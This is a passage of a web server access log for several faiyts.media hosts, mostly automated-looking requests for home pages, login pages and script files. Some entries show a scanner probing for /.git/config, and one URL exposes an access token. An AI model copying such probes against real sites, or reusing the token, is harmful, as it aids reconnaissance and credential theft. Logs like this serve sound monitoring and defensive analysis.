[01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 8751 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.240 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 302 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.213 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.58 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.196 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.181 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.107 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.37 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.240 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.28 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.112 - - [01/Jun/2024:13:36:22 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.81 - - [01/Jun/2024:13:36:22 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3214 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.130 - - [01/Jun/2024:13:36:22 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.122 - - [01/Jun/2024:13:36:22 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3201 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.112 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.92 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 3879 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.76 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.88 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 3879 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.240 - - [01/Jun/2024:13:36:22 -0500] "GET /web/index.html HTTP/1.1" 200 14906 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.30 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 307 5 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.237 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 401 574 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.58 - - [01/Jun/2024:13:36:22 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.127 - - [01/Jun/2024:13:36:22 -0500] "GET /login?next=%2F HTTP/1.1" 200 4238 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.43 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 307 5 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.28 - - [01/Jun/2024:13:36:22 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3201 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.240 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.14 - - [01/Jun/2024:13:36:23 -0500] "GET / HTTP/1.1" 302 95 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.76 - - [01/Jun/2024:13:36:23 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.175 - - [01/Jun/2024:13:36:23 -0500] "GET / HTTP/1.1" 302 95 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.30 - - [01/Jun/2024:13:36:23 -0500] "GET /login HTTP/1.1" 200 41216 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.43 - - [01/Jun/2024:13:36:23 -0500] "GET /login HTTP/1.1" 200 41216 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:36:24 -0500] "GET /.git/config HTTP/2.0" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:36:24 -0500] "GET /login?returnUrl=%2F.git%2Fconfig HTTP/2.0" 200 7631 "https://anime.faiyts.media/.git/config" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36" +104.164.173.34 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.73 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.254 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 401 574 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.145 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.154 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.183 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.117 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.28 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 8751 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.242 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.181 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.196 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.81 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.159 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 1564 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.130 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.48 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.22 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.88 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 3879 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.165 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 401 61 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.81 - - [01/Jun/2024:13:36:24 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3214 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.130 - - [01/Jun/2024:13:36:24 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.28 - - [01/Jun/2024:13:36:24 -0500] "GET /runtime.942fa683274b3d3c26cf.js HTTP/1.1" 200 1340 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.127 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 302 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.60 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.178 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.15 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.39 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.132 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 401 574 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.195 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.54 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.76 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.127 - - [01/Jun/2024:13:36:24 -0500] "GET /login?next=%2F HTTP/1.1" 200 4238 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.240 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.28 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.88 - - [01/Jun/2024:13:36:24 -0500] "GET /_nuxt/65f76a2.js HTTP/1.1" 200 4890 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.163 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.23 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.63 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 302 5 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.214 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.153 - - [01/Jun/2024:13:36:24 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.76 - - [01/Jun/2024:13:36:24 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3220 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.127 - - [01/Jun/2024:13:36:25 -0500] "GET / HTTP/1.1" 302 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.163 - - [01/Jun/2024:13:36:25 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.63 - - [01/Jun/2024:13:36:25 -0500] "GET /web/index.html HTTP/1.1" 200 14906 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.54 - - [01/Jun/2024:13:36:25 -0500] "GET /index-05c8d69e1879af180228.js HTTP/1.1" 200 8177 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.107 - - [01/Jun/2024:13:36:25 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.54 - - [01/Jun/2024:13:36:25 -0500] "GET /82.07b6b6a8b44f8618e2ac.js HTTP/1.1" 404 189 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:36:25 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36" +104.164.173.63 - - [01/Jun/2024:13:36:25 -0500] "GET /web/apploader.js?v=4.8.7.0 HTTP/1.1" 200 2871 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:36:25 -0500] "POST /signalr/messages/negotiate?access_token=93cff899c6844e7699e6e10fd193abf9&negotiateVersion=1 HTTP/2.0" 200 211 "https://books.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:36:25 -0500] "GET /api/v1/health HTTP/2.0" 200 387 "https://books.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:36:25 -0500] "GET /api/v1/queue/status HTTP/2.0" 200 107 "https://books.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:36:25 -0500] "GET /api/v1/command HTTP/2.0" 200 901 "https://books.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +192.168.0.126 - - [01/Jun/2024:13:36:25 -0500] "GET /api/v1/author HTTP/2.0" 200 6 "https://books.faiyts.media/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" +104.164.173.68 - - [01/Jun/2024:13:36:25 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:36:26 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0" +91.90.120.14 - - [01/Jun/2024:13:36:26 -0500] "HEAD / HTTP/1.1" 301 0 "-" "-" +154.28.229.30 - - [01/Jun/2024:13:36:27 -0500] "GET / HTTP/1.1" 307 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.28 - - [01/Jun/2024:13:36:27 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3196 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.88 - - [01/Jun/2024:13:36:27 -0500] "GET /_nuxt/0.841b070.js HTTP/1.1" 404 157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.159 - - [01/Jun/2024:13:36:27 -0500] "GET /_nuxt/f8957e1.js HTTP/1.1" 200 2755 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.153 - - [01/Jun/2024:13:36:27 -0500] "GET /web/ HTTP/1.1" 200 2062 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.88 - - [01/Jun/2024:13:36:27 -0500] "GET /_nuxt/007755c.js HTTP/1.1" 200 71414 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.88 - - [01/Jun/2024:13:36:27 -0500] "GET // HTTP/1.1" 200 3879 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +91.90.120.14 - - [01/Jun/2024:13:36:27 -0500] "HEAD / HTTP/1.1" 400 0 "-" "python-requests/2.27.1" +154.28.229.30 - - [01/Jun/2024:13:36:27 -0500] "GET /login HTTP/1.1" 200 41216 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:36:27 -0500] "GET /.git/config HTTP/2.0" 404 178 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4858.85 Safari/537.36" +154.28.229.88 - - [01/Jun/2024:13:36:27 -0500] "GET /_nuxt/92dca44.js HTTP/1.1" 200 541703 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.88 - - [01/Jun/2024:13:36:27 -0500] "GET /_nuxt/bef19bd.js HTTP/1.1" 200 257167 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.127 - - [01/Jun/2024:13:36:27 -0500] "GET /static/js/uploadprogress.js HTTP/1.1" 200 7401 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.127 - - [01/Jun/2024:13:36:27 -0500] "GET /static/js/libs/bootstrap.min.js HTTP/1.1" 200 39681 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.127 - - [01/Jun/2024:13:36:27 -0500] "GET /static/js/libs/intention.min.js HTTP/1.1" 200 5865 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.127 - - [01/Jun/2024:13:36:27 -0500] "GET /static/js/libs/context.min.js HTTP/1.1" 200 1534 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.127 - - [01/Jun/2024:13:36:27 -0500] "GET /static/js/main.js HTTP/1.1" 200 29593 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.127 - - [01/Jun/2024:13:36:27 -0500] "GET /static/js/libs/plugins.js HTTP/1.1" 200 79984 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.127 - - [01/Jun/2024:13:36:27 -0500] "GET /static/js/libs/underscore-umd-min.js HTTP/1.1" 200 19530 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.127 - - [01/Jun/2024:13:36:27 -0500] "GET /static/js/libs/jquery.min.js HTTP/1.1" 200 89947 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.127 - - [01/Jun/2024:13:36:27 -0500] "GET /static/js/libs/jquery.form.min.js HTTP/1.1" 200 17094 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.88 - - [01/Jun/2024:13:36:27 -0500] "GET /_nuxt/b1675a3.js HTTP/1.1" 200 1378841 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.54 - - [01/Jun/2024:13:36:27 -0500] "GET /607.678d3c964d6dffc74c37.js HTTP/1.1" 404 189 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.54 - - [01/Jun/2024:13:36:27 -0500] "GET /07b6b6a8b44f8618e2ac.js HTTP/1.1" 404 189 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.54 - - [01/Jun/2024:13:36:27 -0500] "GET /678d3c964d6dffc74c37.js HTTP/1.1" 404 189 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) 